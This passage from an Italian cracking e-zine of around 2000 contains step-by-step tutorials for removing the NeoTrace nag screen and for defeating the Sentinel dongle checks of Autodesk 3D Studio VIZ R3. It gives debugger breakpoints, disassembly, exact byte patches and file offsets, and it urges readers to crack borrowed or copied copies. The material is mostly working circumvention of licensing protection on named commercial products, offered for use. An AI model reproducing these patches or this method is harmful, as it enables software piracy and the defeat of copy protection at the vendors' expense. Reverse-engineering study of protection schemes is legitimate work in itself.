converte in linguaggio macchina cioè 10110101011 in codice binario. Ultima raccomandazione: se incontrate qualcosa del tipo 1512h e non sapete cosa cavolo sia (base8, 18 o 48) dovrete guardare in fondo, vedete quell'h? Quella indica che il numero si trova in base 16, eccovi l'ultima tabella: b = Binario o = Ottale d = Decimale h = Esadecimale Quindi se smanettate con l'Assembly e dovete andare all'offset 00018F5Ah non domandatevi "come kazz si fa ad avere un offset a 9 cifre" ma ricordate che l'ultima lettera minuscola vi indica sempre la base. Ora che siete dei matematici divertitevi (io odio la matematica) ;))))) Ciauzzzzzzzz <-->http://quequero.cjb.net<--> ---QueQuero--- -=!!!|-NEoTraCe212 NAg-Rem0ve-|!!!=- Autore: Il Socio Difficolta': (in puro stile UIC! ;-)) (x)NewBies ()Intermedio ( )Avanzato ( )Master Con questo semplice tute spero di aiutare alcuni di voi ad avvicinarsi a questo insteressante mondo -->Introduzione<-- Cerchero' di illustrarvi il metodo generale da seguire per rimuovere un nag, assumendo che il lettore abbia una conoscenza base dell'assembly. Per rendere meno ostica la comprensione del testo tentero' di spiegare ogni termine tecnico che introdurro', quindi anche se siete alle prime armi non disperate e proseguite nella lettura. -->Tools usati<-- WinFrog (versione modificata di WinShow): Utility generale per identificare un particolare elemento di una finestra SoftICE400 (Debugger): per dare uno sguardo al codice asm del programma a runtime ProcDump16 (Unpacker): per poter "scompattare" il programma GetTyp251 (Utility): ci dice se un file e' "packato" e se lo e' con quale tipo di "packer" Hiew616 (Editor Assembly/Esadecimale): per rendere permanenti le modifiche apportate Li dovreste trovare tutti sul sito che ognuno di noi dovrebbe avere nella propria lista: <-->http://PlayTools.cjb.net<--> -->URL o FTP del programma<-- Potete prelevare NeoTrace direttamente dal sito della Neoworx -->Notizie sul programma<-- NeoTrace e' una sorta di TraceRoute visuale, consente di ottenere una rappresentazione grafica dell'instradamento dei pacchetti attraverso la rete. Lanciando il programma ci troviamo di fronte alla finestra del nag-screen che attende da parte nostra la pressione di uno tra i tasti Trial/Register/Quit Pigiando Trial, il nag scompare e viene avviato il programma, premendo Register vengono visualizzate istruzioni su come poter ordinare la versione Registrata, ovviamente premendo Quit si esce immediatamente. -->Essay<-- RISPETTATE ASSOLUTAMENTE I MARGINI Ogni buon cracker/reverser non inizierebbe mai una sessione senza possedere gli attrezzi del mestiere, quelli che vengono chiamati "Tools". E' veramente fondamentale utilizzare le adeguate risorse di cui si puo' disporre, in modo da raggiungere l'obbiettivo nel miglior modo e nel minor tempo possibile. Oltre a quelli che ho utilizzato questa volta, vi consiglio di procurarvi: ->Una calcolatrice dotata di ror/rol/shl/shr/xor in dec/bin/hex (BaseCalc) ->Un editor di risorse (Restorator) ->Un potentissimo Anti-AntiDebug :-) (FrogsICE) ->Un disassemblatore (IDA) ->Un monitor delle operazioni compiute sui files (FileMon) ->Un monitor delle operazioni compiute sul registro (RegMon) ->Un tool per fare delle copie del registro in momenti differenti e poter tener traccia le chiavi modificate (RegSnap) ->Un monitor delle API che vengono richiamate (APISpy) ->Un Memory Dumper (ICEDump) Detto questo, e' ora di partire con il tute. Iniziamo raccogliendo qualche informazione riguardanti il programma. Utilizzando GetTyp, otteniamo le seguenti info... Found no known modifier or compiler. Name Virt size RVA Phys size Phys Ofs .text 00026000h 00001000h 00026000h 00000000h .rdata 00003000h 00027000h 00003000h 00000000h .data 00009D34h 0002A000h 00001000h 00001000h .rsrc 000B4F28h 00034000h 00005000h 00002000h .neolit 000062BAh 000E9000h 00001BCAh 00007000h A quanto pare GetTyp dice che il prog. non e' "packato" (si dice che un programma e' packato quando esso e' compresso, ad ogni sua esecuzione verra' richiamata una particolare routine interna del programma che si occupera' di decomprimere il programma in memoria e poi eseguirlo. Per poterne modificare il codice contenuto nel file e' necessario prima ottenere il file decompresso, per fortuna abbiamo i nostri fidati tools che ci rendono semplice questo lavoro). Anche se GetTyp non sembra aver rilevato che il programma e' packato, quella sezione ".neolit" all'interno del file e' piuttosto sospetta, considerate anche che la produttrice di NeoTrace e' la NeoWorx (che ha sviluppato il packer NeoLite). Apriamo ProcDump e vediamo se ne tiriamo fuori qualcosa di buono, selezioniamo "Unpack" e scegliamo come unpacker Neolite2, dopo qualche secondo ci verra' richiesto dove desideriamo salvare il programma "ripulito" (unpackato e privo delle chiamate alle routine di decompressione). Se ora confrontate i 2 files, noterete la notevole differenza di dimensioni: CLEAN.EXE 970.752 NEOTRACE.EXE 367.627 Adesso lanciamo il file CLEAN.EXE e lavoriamo un po' per rimuovere il nag. Ci troviamo davanti alla finestra del nag che attende la pressione di un pulsante, grazie a WinFrog possiamo scoprire l'handle della finestra principale che contiene i pulsanti, nel mio caso: 6d0 (hex) sicuramente voi avrete un'altro valore. In alternativa a WinFrog, potete usare il comando "task" dal quale ricaverete il nome del task del programma (Neotrace) e successivamente "hwnd Neotrace" che vi sparera' una lista di tutti i controlli della finestra di Neotrace e relativi handle, a questo punto dovrete individuare qual'e' l'handle della finestra principale (fase non sempre semplicissima), come avrete capito anche voi, WinFrog e' caldamente consigliato poiche' "snellisce" il lavoro. Dunque, una volta individuato l'handle della finestra (con WinFrog o tramite task/hwnd) CTRL-D ed eccoci in SoftIce, piazziamo un breakpoint bmsg HandleTrovato wm_command ("bmsg 6d0 wm_command") e procediamo pigiando il pulsante Trial. SoftIce compare ed in questo momento dovremmo trovarci di fronte alla parte di codice del modulo user, pigiamo un po' di volte F12 fino a quando non rientriamo in una parte di codice di neotrace, dovremmo aver raggiunto questo punto... Call USER32!EndDialog <--- prima eravamo dentro a questa call POP EDI <--- Arriviamo qui XOR EAX, EAX POP ESI ADD ESP, F0 RET A quanto pare il codice qui sopra si occupa di chiudere il nag. Al termine del ret ci troviamo di nuovo dentro un modulo di sistema, Kernel32 come prima continuamo a pigiare F12 fino a ritovarci in una zona di codice di neotrace e finalmente arriviamo qui (***)... 414A00 CALL 4092A0 414AD5 ADD ESP, 04 414AD8 PUSH 00 <---| Parametri per 414ADA PUSH 004161D0 | richiamare 414ADF PUSH 00 | la funzione 414AE1 PUSH 00000226 | DialogBoxParamA 414AE6 PUSH ESI <---| (Identificati consultando una Api-Reference) 414AE7 Call USER32!DialogBoxParamA <--- Creazione del NAG 414AED CMP EAX, 2 <--- (***)Arriviamo qui, EAX vale 1 414AF0 POP ESI 414AF1 JNZ 414AF6 <---| salta se non e' stato pigiato il pulsante "Quit" 414AF3 XOR EAX,EAX | altrimenti 414AF5 RET <---| esce dalla routine e dal programma Come potete vedere ora, avremmo anche potuto piazzare un semplice breakpoint sulla funzione DialogBoxParamA e saremmo arrivati allo stesso punto, lo scopo del tute e' pero' quello di mostrare un approccio che sia il piu' generale possibile per affrontare i nag. Ora che abbiamo identificato la call responsabile della comparsa e chiusura del nag (DialogBoxParamA) non sara' difficile ripulire il programma. E' sufficiente non richiamarla per evitare il noioso nag, inoltre osservate che se viene pigiato il pulsante "Trial", in eax viene restituito 1 quindi sara' opportuno settare EAX ad 1 prima di saltare a 414AF6, poiche' in seguito il programma potrebbe utilizzare EAX per qualche operazione. Una parte importante nella rimozione del nag e' fare attenzione a non compromettere lo stack, mi spieghero' meglio.. Se osservate il codice sopra, noterete che prima della call vengono effettuate 4 push, queste push, servono per passare i parametri alla funzione DialogBoxParamA, la quale si occupera' poi della loro rimozione dallo stack, qui di seguito vi ho riportato i cambiamenti del puntatore dello stack ad ogni esecuzione delle istruzioni.... ESP=72FD7C 414AD8 PUSH 00 --> ESP=72FD78 414ADA PUSH 004161D0 --> ESP=72FD74 414ADF PUSH 00 --> ESP=72FD70 414AE1 PUSH 00000226 --> ESP=72FD6C 414AE6 PUSH ESI --> ESP=72FD68 414AE7 Call USER32!DialogBoxParamA --> ESP=72FD7C ESP=72FD7C Se noi ci limitassimo a nooppare la call, il puntatore allo stack (ESP) avrebbe come valore 72FD68 e non quello che dovrebbe avere se la call fosse stata eseguita (72FD7C) quindi punterebbe a dati inconsistenti e probabilmente il prog. crashera' dopo qualche operazione sullo stack. Quindi, per assicurarci che tutto fili liscio, dobbiamo anche nooppare le varie push dei parametri sullo stack. Ora sta a voi scegliere come modificare il prog. per non mostrare piu' il nag, ad esempio potreste fare una modifica del genere (ho scritto le istruzioni modificate in minuscolo) CALL 4092A0 ADD ESP, 04 mov eax, 1 <--- per far credere al prog. che si e' pigiato il pulsante "Trial" nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop CMP EAX,2 JNZ 414AF6 oppure, piu' semplicemente cosi'... CALL 4092A0 ADD ESP, 04 mov eax, 1 pop esi jmp 414AF6 Le variazioni sono molteplici, solitamente si sconsiglia di ricorrere ai nop poiche' il programma potrebbe fare un auto-check per controllare ad esempio se compaiono sequenze di 3 o piu' nop. Inoltre e' buona norma cercare di forzare il meno possibile il normale flusso del programma a meno di non conoscere MOLTO bene il comportamento del codice che si ha sottomano. Se ora aprite il file con un editor esadecimale e rendete definitive le modifiche il nag sara' deltutto scomparso. -->Note finali<-- Un ringraziamento a tutti coloro che hanno condiviso le loro conoscenze diffondendo tutes sull'argomento, sono davvero troppi per poterli nominare, in ogni caso, se hai mai scritto un tute considerati pure in questa lista, poiche' ognuno ha qualcosa da insegnare (ed io ho ancora molto da imparare :-P ) Un saluto a tutti i compagni della UIC in particolare Ritz, GR!SU', Syscalo, BlackDruid, AndreaGeddon, continuate cosi' gente !!! Ed ovviamente non manco di ringraziare tutti i papa' fondatori della UIC. Il Socio passa e chiude, Ciau alla prossimaaaaaaaaaaa. Per finire un po' di pubblicita'... http://quequero.cjb.net <--| Non perdetevi il sito della UIC!!!! http://ringzer0.goldrake.com/ http://aisprod.cjb.net http://www.lupin3rd.org http://crackstore.com http://valvoline.cjb.net http://members.xoom.co/daPopesTutor/frame.htm <->E-mail: Int19@hotmail.com<-> <->ICQ:4044843<-> ---Int19 aka Il.Socio--- -=!!!|-3D Studio VIZ R3-|!!!=- --[ Dongle up your ass ]-- [ 24-03-2000 ] Autore: Quequero Ah Gigè, MA QUANTE KAZZO NE VUOI SAPE' OOOOOOOO ...che fatica commentarsi i tutorial :), ad ogni modo avete davanti il primo tutorial della UIC sul cracking di un target che usa un dongle..... Può essere interessante :) UIC's form Home page se presente: http://quequero.cjb.net E-mail: UIC@mail.usa.com #Crack-it #UIC UIC's form Difficoltà ( )NewBies (X)Intermedio (X)Avanzato ( )Master Volevate un tutorial sui dongle? Beh, eccone uno fresco fresco :). [---------------------] La versione a colori (.html) e' allegata all'e-zine. Introduzione Ragazzi, sono stato assente molto tempo per motivi in realtà stupidi, ma in questo momento di "idle" ho deciso di attaccare una protezione che mi "chiamava" oramai da molto tempo......La release che attaccheremo sarà l'ultima della Kinetix (già, proprio quelli del 3D Studio Max) e cercheremo di abbattere la protezione rappresentata dal dongle stesso. Tools usati IDA 3.x SoftIce 4.x (ma qualunque versione va bene) URL o FTP del programma http://vizonline.autodesk.com/ qui troverete aiuto, il programma lo potete trovare sui cd dei giornali oppure ve ne fate prestare uno originale o copiato e lo crackate Notizie sul programma Il 3D Studio è un programma che è fantastico......O almeno, suppongo che sia fantastico visto che non lo so usare tanto bene :)..Ad ogni modo è conosciutissimo perchè è lo stesso che hanno usato per creare i mostri di Hercules, gli effetti di Matrix, Quake3, Jurassic Park; il programma serve per l'animazione e la modellazione 3D, se siete abbastanza bravi potete anche cimentarvi in imprese tipo la relizzazione di immagini digitali (e devo dire da quello che ho visto in giro che se lo sapete usare potete farci venir fuori qualunque cosa con un grado altissimo di realtà).....Insomma, il programma sembra proprio valere tanto oro quanto pesa ed è un po' il "SoftIce" dei grafici tanto per capirci. Essay Installate tutto il programmuzzo, riavviate e preparatevi spiritualmente a questo nostro piccolissimo attacco :)....All'avvio farà la sua comparsa un bel logo e quindi un simpatico box recante la scritta: Hardware lock is not attached, or you are using the wrong lock, or the lock device drivers are not running. Decisamente molto simpatico.....La chiave hardware non è attaccata (ma va?)... Oppure stai usando la chiave sbagliata (se, come se a casa avessi dongle a iosa), oppure il dispositivo della chiave non sta correndo (eppure è strano, sono stato a rincorrere la parallela per dieci minuti.........Bhoooooooo).... Bene gente di mala fede :)....Suggerisco di iniziare a mettere un breakpoint su MessageBoxA (già, da questo lato è più semplice crackare la protezione piuttosto che usare il solito bpio -h 378 rw). Prima di procedere di nuovo al riavvio del programma vi consiglio VIVAMENTE di farvi una copia di backup dell'eseguibile (3dsviz.exe) e di farla disassemblare dalla cara IDA, segnate la casella "Load Resources" al momento del disasm, ma non scappate perchè dopo qualche secondo vi chiederà di cercare per lei due dll (splash.dll e zlib.dll) che si troveranno nella cartella del 3D Studio, fatto questo spegnete winamp, chiudete tutto quello che avete nel systray, overclockate il processore e andate a farvi un giro......Dopo circa 15 minuti troverete un bel file tutto disassemblato, incasinato quanto l'intestino di un bue mutante. A questo punto riattivare il breakpoint del messagebox......Avviate 3D Studio e fatevi un giro per quelle routine...Bene, uscite dalla chiamata in cui vi trovate e felicemente settate un breakpoint sulla chiamata alla routine che genera il box (0048A783 tanto per capirci), adesso fate ripartire il programma ed entrate in questa call, troverete subito qualcosa di simile: .text:0048A7A3 sub esp, 200h .text:0048A7A9 mov eax, _data_648D34 .text:0048A7AE test eax, eax .text:0048A7B0 jz short _text_48A7C3 c'è un test eax, eax...Non cambiatelo perchè mettendo in eax un valore diverso da zero entrerete in questa routine: text:0041AE00 mov eax, _data_648D34 text:0041AE05 mov eax, [eax] text:0041AE07 retn come vedete la chiamata muove in eax il valore della locazione 648D34 (che è zero)...E poi muove in eax ciò che essa stessa punta...Ciò significa che se voi mettete nel registro un numero qualunque, allora il programma arrivato alla locazione 0041AE05 muoverò in eax ciò che.......Eax punta, cioè nulla e quindi....CRASH! Quindi continuate la vostra esplorazione del codice e tenete particolarmente d'occhio tulle le XREF che incontrate. Infatti da ora in poi dovremo lavorare a ritroso per giungere alla parte di codice che ci interessa, (in realtà le parti che ci interessano sono molte, ma facciamo una cosa alla volta) suggerisco di iniziare a rintracciare la call che chiama la routine che genera il box, è necessario risalire per capire dove si possa trovare qualche check, ed è uno dei pochi metodi attuabili viste le dimensioni ragguardevoli del file :). Iniziate a rinominare tutte le routine delle quali conosciamo la funzione e stiamo particolarmente attenti alla chiamata sulla quale abbiamo settato l'ultimo breakpoint: .text:0048A783 _text_48A783: ; CODE XREF: _text_48A6C0+4Dj .text:0048A783 call NoHardwareKey ; Questa è la routine della messagebox Bene, vediamo una reference all'indirizzo 48A6C0... Clickiamoci sopra e vediamo cosa fa questa chiamata (o se preferite, premete G e scrivete in IDA 48A6C0)....Approderete qui: .text:0048A6DF test eax, eax .text:0048A6E1 mov esi, 4 .text:0048A6E6 jz short _text_48A6F5 .text:0048A6E8 cmp dword ptr [eax+4D4h], 1 .text:0048A6EF jz _text_48A798 .text:0048A6F5 push 404h .text:0048A6FA lea eax, [ebp+var_404] .text:0048A700 push eax .text:0048A701 call _text_5F91C0 .text:0048A706 test ax, ax .text:0048A709 jz short _text_48A70F .text:0048A70B push 5 .text:0048A70D jmp short _text_48A783 Okkei, date un'occhiata a tutte le variabili che vedete e poi allegramente entrate nella routine chiamata all'RVA 0048A701 siete dentro? Okkei, siamo molto vicini ad un check che esamineremo dopo, per ora non vi dico nulla visto che a noi interessa capire la protezione, non ci frega nulla di sapere la locazione dei check se poi non sappiamo da dove vengono, giusto? [------ Piccolo trucchetto del mestiere ------] Vi consiglio trovare le call che cercano di accedere al dongle......Ma come? Beh, o andate giu di breakpoint oppute fate come ho fatto io (grazie Zafer, il trucchetto è suo, io non ci avrei mai pensato) cioè, togliete la parallela dalla stampante e ne prendete la spina che dovrebbe essere attaccata alla stampante..... La guardate e cercate il primo pin (in genere ci sono dei numeri, ma vista frontalmente è il primo pin in alto a sinistra)....... Bene, adesso ci dovete collegare un led (non siate tirchi che costano 100£ l'uno)...... Già, proprio un led (e qua l'intentiva è stata tutta mia :) guardate il Led, il gambo più lungo è il catodo (dove deve arrivare tensione con segno -) e l'altro è l'anodo (tensione positiva) inserite il gambo dell'anodo nel secondo pin della parallela e mettete a contatto il catodo del Led con la massa della porta (la parte in metallo) se avete fatto tutto bene avete create un utilissimo congegno che vi svelerà ogni volta che un programma cerca di accedere alla parallela...Come? Ovvio, il led si accende e mentre steppate potete capire con facilità se state chattando col dongle o meno :)... È facilissimo in realtà, e con 2000£ vi fate un congegnetto che credetemi userete anche in futuro :). [------ Fine trucchetto del mestiere ------] Bene, bene, abbiamo visto queste simpatiche routine, ora cerchiamo di brekkare su qualche check, per prima cosa collegate il vostro nuovo attrezzo alla parallela :), avviate 3D Studio........ Notate che dopo circa 2 secondo il led lampeggia, bene, riavviate 3D Studio e prima che il led si accenda provate a premere ctrl+d e steppate fino ad arrivare all'RVA 005F9E65 (il metodo usato è molto empirico ma funziona benissimo), ora entrate in questa chiamata e steppate con F10 fino a 004021C7, entrate qua dentro e steppate ancora fino a 0048A701, entrateci, e vi ritroverete qua: .text:005F91C0 push esi .text:005F91C1 push edi .text:005F91C2 mov eax, [esp+arg_0] .text:005F91C6 or eax, eax .text:005F91C8 jnz short _text_5F91D3 .text:005F91CA mov ax, 2 .text:005F91CE pop edi .text:005F91CF pop esi .text:005F91D0 retn 8 Mmmmmmmm........Un po' di zen adesso.......Soffermiamoci sulla call a 0048A701 e cosa vediamo? .text:0048A6FA lea eax, [ebp+var_404] .text:0048A700 push eax .text:0048A701 call _text_5F91C0 .text:0048A706 test ax, ax .text:0048A709 jz short _text_48A70F .text:0048A70B push 5 .text:0048A70D jmp short _text_48A783 .text:0048A70F lea ecx, [ebp+var_404] .text:0048A715 push ecx .text:0048A716 call _text_5F9220 .text:0048A71B test ax, ax .text:0048A71E jz short _text_48A724 .text:0048A720 push 5 .text:0048A722 jmp short _text_48A783 vediamo che c'è una chiamata e poi un test ax, ax (e di fatti nella chiamata 48A701 ci siamo entrati dentro.......Ma poco dopo troviamo una chiamata simile (cioè: call, e poi test ax, ax)....... Possiamo supporre che la prima call sia un check (Non è che lo facciamo ad cazzum, anche perchè andando a ritroso nel codice giungiamo alla routine che ci chiude il programma :)..E quindi anche la seconda, perciò esaminiamole tutte e due, iniziamo con quella all'RVA 0048A701 (che chiameremo PrimoCheck): .text:005F91C0 push esi .text:005F91C1 push edi .text:005F91C2 mov eax, [esp+arg_0] .text:005F91C6 or eax, eax ; EAX=0? Non saltare .text:005F91C8 jnz short _text_5F91D3 .text:005F91CA mov ax, 2 .text:005F91CE pop edi .text:005F91CF pop esi .text:005F91D0 retn 8 può essere interessante........Vi riporto lo stato dei registri appena entrati in questa chiamata: EAX=0096F8FC EBX=00400000 ECX=00000000 EDX=11000810 ESI=00000004 EDI=0096FD00 EBP=0096FD00 ESP=0096F8E0 che chiamata "innocua"...Dhe hi hi, allora cosa succede qua dentro? Vengono salvati esi ed edi, in eax viene mosso 0096F8FC.....Poi viene testato EAX, se è 0 allora muove 2 in AX.......Passiamo all'altra chiamata: .text:005F9220 sub esp, 4 .text:005F9223 push esi .text:005F9224 push edi .text:005F9225 mov edi, [esp+0Ch+arg_0] .text:005F9229 or edi, edi .text:005F922B jnz short _text_5F9239 .text:005F922D mov ax, 2 .text:005F9231 pop edi .text:005F9232 pop esi .text:005F9233 add esp, 4 .text:005F9236 retn 4 Succede lo stesso solo che stavolta viene testato edi......Allora a runtime facciamo una cosa, alla prima chiamata azzeriamo eax, e poi dopo "mov ax, 2" lo azzeriamo di nuovo e quindi steppiamo.....Alla seconda facciamo in modo che il salto a 005F922B NON avvenga e quindi azzeriamo EAX prima del "retn 4" Chiudiamo sice.........Niente, stesso messaggio, proviamo a cercare un altro check, rientriamo....Facciamo le stesse modifiche e steppiamo ancora...Sempre utilizzando un pochetto di zen andiamo qualche rigo più giù ed entriamo alla chiamata che si trova all'RVA 0048A35A, ecco cosa troviamo: .text:005F9400 push ebx .text:005F9401 push esi .text:005F9402 mov eax, [esp+arg_0] .text:005F9406 or eax, eax .text:005F9408 jnz short _text_5F9413 .text:005F940A mov ax, 2 .text:005F940E pop esi .text:005F940F pop ebx .text:005F9410 retn 8 mmmmmm non mi sembra affatto nuovo, stessa cosa di prima, facciamo in modo che eax in uscita contenga zero....Tadàààà funziona...Deh hi hi :)....... Bene, abbiamo crackato il programma??? Beati voi che credete ancora nelle favole :)....Innanzitutto apportiamo una piccola modifica al programma, trasformando in questo modo le routine: Primo check: .text:005F91C0 push esi .text:005F91C1 push edi .text:005F91C2 mov eax, [esp+arg_0] .text:005F91C6 33C0 xor eax, eax .text:005F91C8 jnz short _text_5F91D3 .text:005F91CA 33C0 xor eax, eax .text:005F91CC 90 nop .text:005F91CD 90 nop .text:005F91CE pop edi .text:005F91CF pop esi .text:005F91D0 retn 8 Secondo check: .text:005F9220 sub esp, 4 .text:005F9223 push esi .text:005F9224 push edi .text:005F9225 mov edi, [esp+0Ch+arg_0] .text:005F9229 33FF xor edi, edi .text:005F922B jnz short _text_5F9239 .text:005F922D 33C0 xor eax, eax .text:005F922F 90 nop .text:005F9230 90 nop .text:005F9231 pop edi .text:005F9232 pop esi .text:005F9233 add esp, 4 .text:005F9236 retn 4 Terzo check: .text:005F9400 push ebx .text:005F9401 push esi .text:005F9402 mov eax, [esp+arg_0] .text:005F9406 33C0 xor eax, eax .text:005F9408 jnz short _text_5F9413 .text:005F940A 33C0 xor eax, eax .text:005F940C 90 nop .text:005F940D 90 nop .text:005F940E pop esi .text:005F940F pop ebx .text:005F9410 retn 8 (se il patch non dovesse andare, sostituite i nop con "inc eax dec eax" o più semplicemente appena entrati nella chiamata sostituite tutti e tre i check con un bel "xor eax, eax retn x") Adesso il programma sembra funzionare correttamente.........Gia, sembra.... Perchè? Beh perchè c'è sicuramente ALMENO un altro check.......Che è semplicissimo da scoprire, basta aprire 3D Studio e lasciarlo lì per 5 minuti. Poi un bel box ci accoglierà dicendoci che non c'è nessuna chiave...... Bene andiamo a distruggere anche quel check :) Lo Zen ancora una volta ci da una mano :)......(Ah! Io ho scoperto il check mentre giocherellavo col 3D Studio, poi ho riaperto il programma ed ho misurato il tempo col cronometro....Erano 5 minuti e qualcosa, ma visto che i programmatori sono spesso idioti sapevo per certo che quel check era impostato a 5 minuti esatti :) un check di quel genere quasi sicuramente sarà settato con un bel SetTimer: UINT SetTimer( HWND hWnd, // handle of window for timer messages UINT nIDEvent, // timer identifier UINT uElapse, // time-out value TIMERPROC lpTimerFunc // address of timer procedure ); allora, per chi non lo sapesse, il parametro da cercare non è il 3°, bensì il secondo perchè il sistema salva i dati nello stack al contrario.... Breve digressione: molti di voi si chiedono perchè i dati vengono salvati al contrario, e se scrivete in ASM sapete anche che non potete chiamare un api come fareste in C, cioè chiamando i parametri dal primo all'ultimo, ma dove pushare al contratio tutti i parametri oppure dovete usare la notazione in riga. Perchè tutto questo? Lo stack funziona con un metodo detto LIFO (Last In First Out) cioè, è come quando accatastate tante monetine, se poi dovete recuperarle senza farle cadere sarete costretti a tirarle via a partire della più alta (che è quella che avete messo lì per ultima), quindi lo stack fa la stessa cosa, prendendo in esempio l'API SetTimer vediamo che il sistema deve recuperare per primo il primo parametro e per ultimo il quarto parametro, ma visto che lo stack si muove in maniera ambigua (LIFO) se noi facessimo pushare i parametri in questo ordine: 1 2 3 4 quando il processore andrà a popparli tirerebbe li tirerebbe fuori in ordine inverso: 4 3 2 1 se invece noi li pushiamo al contrario (cosa che viene fatta automaticamente nei linguaggi ad alto livello, ma la dobbiamo fare manualmente se scriviamo in ASM) allora il processore li popperà nel giusto ordine, guardate: PUSH: 4 3 2 1 POP: 1 2 3 4 è questo il motivo per il quale in sice dobbiamo andare a cercare il secondo parametro e non il quarto. Fine digressione. Sappiamo che il check viene fatto dopo 5 minuti e sappiamo anche che SetTimer vuole che gli sia passato il tempo in millisecondi, quindi: 1000 millisecondi = 1 Secondo 1 minuto = 60 secondi cioè = 60*1000 = 60.000 millisecondi 5 minuti = 60.000*5 = 300.000 300.000 in esadecimale corrisponde a 493E0h allora, mettiamo un breakpoint su SetTimer ed avviamo 3D Studio, appena troviamo il Timer giusto ci settiamo un bp sopra........ Oki, la chiamata inizia all'indirizzo 00402546, cambiate il secondo parametro in modo da attendere solo qualche millisecondo e vedete che viene fuori: Box1: Hardware lock or its driver is not functioning Box2: Hardware lock failure -- program must terminate abbiamo quindi due reference sulle quali attaccarci per risalire al codice, quindi mettiamo un bp su messagebox e vediamo dove tornano queste due chiamate che li generano: 0048A622 e 0048A6A4 andiamo in IDA e vediamo cosa troviamo da queste parti: .text:0048A60F push 2010h .text:0048A614 lea eax, [ebp+var_270] .text:0048A61A push eax .text:0048A61B lea ecx, [ebp+var_170] .text:0048A621 push ecx .text:0048A622 push 0 .text:0048A624 call ds:MessageBoxA .text:0048A62A _text_48A62A: ; CODE XREF: CheckCall+377j .text:0048A62A ; CheckCall+386j ora vi starete chiedendo: "Chi è CheckCall?"....Quella non è altro che la chiamata che contiene tutti quanti i check cioè quella che si trova all'RVA 0048A240, clickate sulla XREF e dove finite? .text:0048A5A3 push esi .text:0048A5A4 push 1Ch .text:0048A5A6 lea eax, [ebp+var_674] .text:0048A5AC push eax .text:0048A5AD call QuartoCheck .text:0048A5B2 and eax, 0FFFFh .text:0048A5B7 jz short Box1 .text:0048A5B9 mov ecx, [ebp+var_4] Esattamente dopo il quarto check (che polli i programmatori) quindi andando per esclusione anche la chiamata a 0048A5AD DEVE essere un check, esploriamola: .text:005F99C0 push ebx .text:005F99C1 push esi .text:005F99C2 push edi .text:005F99C3 mov eax, [esp+arg_0] .text:005F99C7 or eax, eax .text:005F99C9 jnz short _text_5F99D5 .text:005F99CB mov ax, 2 .text:005F99CF pop edi .text:005F99D0 pop esi .text:005F99D1 pop ebx .text:005F99D2 retn 18h Mmmmmmm non sembra essere troppo diverso da prima.......Ed invece lo è....... E molto, non vi nascondo che questo check mi ha dato dei piccoli problemi per via della sua strana conformazione :)....Allora, se facciamo la solita modifica (cioè muoviamo in eax 0) poi incappiamo in un secondo sub-check, e cmq il check viene fatto due volte, quindi vi propongo ben tre soluzioni attuabili: 1) Modifichiamo la chiamata affinche xori eax e poi all'RVA 0048A5B2 invece di "and eax...." facciamo saltare al programma tutti quanti gli altri check, ciò significa che dobbiamo mettere un "jmp 48A63D" (solo che dovremmo inserire un jmp di questo tipo dopo ogni chiamata a questa routine e le chiamate ne sono diverse) 2) Modifichiamo la chiamata nel solito modo ed invece di mettere il jump ci calcoliamo quanti byte intercorrono dall'istruzione dopo della call fino alla fine dei check: 0048A63D-0048A5B2 = 8Bh, quindi aggiungiamo allo stack pointer 8Bh appena prima del ret così la chiamata tornerà proprio all'istruzione 0048A63D 3) Noppiamo tutta la routine che setta il timer così che non sarà fatto alcun check ogni 5 minuti e ci leviamo tutti gli inutili problemi di torno :) Io ho scelto l'ultima, quindi se volete, aprite il file con un hex editor (RVA 402546 offset 2549h) e noppate tutta la routine dall'offset 2549h all'offset 255Bh. Visto che scrivo i tutorial a runtime ho appena testato e sembra funzionare correttamente, se non dovesse andare ci sarebbero comunque altre due soluzioni :). Finito? NO! Mentre guardavo il listato mi sono accorto di un "probabile" 5° Check (offset 1F95D0), stavo guardando le varie routine ed ho scoperto che ce n'era una uguale agli altri check, eccovela: .text:005F95D0 push esi .text:005F95D1 push edi .text:005F95D2 mov eax, [esp+arg_0] .text:005F95D6 or eax, eax .text:005F95D8 jnz short _text_5F95E3 .text:005F95DA mov ax, 2 .text:005F95DE pop edi .text:005F95DF pop esi .text:005F95E0 retn 0Ch .text:005F95E3 push eax .text:005F95E4 call _text_5F33E0 .text:005F95E9 mov esi, eax .text:005F95EB cmp word ptr [esi], 72 .text:005F95F0 jz short _text_5F9600 .text:005F95F2 mov ax, 2 .text:005F95F6 pop edi .text:005F95F7 pop esi .text:005F95F8 retn 0Ch è decisamente un check, ma non sono riuscito ad arrivare a questa routine in quanto non ho potuto clickare tutti i maledetti menu del 3D Studio, tutto inizia comunque da una call all'RVA 00464DB0, solo che questa call stranamente non ha reference all'esterno, tranne una nella sezione .rdata: ; DATA XREF: .rdata:0060B0C4o ----> .rdata:0060B0C4 dd offset _text_464DB0 E la cosa non mi piace per niente...Mumble mumble...Forse forse sono arrivato ad una qualche conclusione...Dunque, proviamo a fare una cosa...... Forziamo il jnz a 00F95D8 e facciamolo diventare un jmp che punterà all'RVA 005F95F6, quindi cambiamo quei "pop edi" e "pop esi" in xor eax, eax.......Dovrebbe andare....Olè, raga, mentre facevo un disegno so riuscito ad arrivare a questa routine e sembra proprio che non questa modifica vada bene, quindi ecco cosa dovrete fare: .text:005F95D0 push esi .text:005F95D1 push edi .text:005F95D2 mov eax, [esp+arg_0] .text:005F95D6 or eax, eax .text:005F95D8 E919000000 jmp 0001F95F6 ---- snip ------ snip ------ snip ------ snip ------ .text:005F95F6 33C0 xor eax,eax .text:005F95F8 retn 0Ch Benissimo, possiamo considerare ora il 3D Studio crackato e funzionante al 100%....Altri check non ce ne sono, questo è poco ma sicuro, vorrei comunque farvi notare una cosa, cioè che prima di ogni check trovate questa istruzione: .text:0048A5A6 lea eax, [ebp+var_674] io purtroppo me ne sono accorto solo ora, ma cmq visto che l'ho scoperto ho potuto controllare che non ci fossero altri check presenti.......E non ce ne sono :) Conclusione: stavolta abbiamo crackato un programma che utilizzava un dongle Sentinel senza avere il dongle originale, siamo anche stati fortunati perchè quello che c'era da capire per eludere i check non è stato eccessivamente difficile, ma potrebbe capitarci un programma crittato nel quale dongle risiede l'algo di decrittazione.......A quel punto NON possiamo fare nulla senza il dongle originale......Ma se riuscissimo a procurarcelo potremmo creare un emulatore. ...Credo quindi che appena avrò a disposizione un dongle originale ed un programma che utilizzerà questa tecnica, ne farò sicuramente un tutorial. Note finali Ringrazio tutti quanti i membri della UIC dal primo all'ultimo, ringrazio in particolar modo: Master degli SPP: per la sua disponibilità sempre immensa, e per la sua voglia di insegnare ai 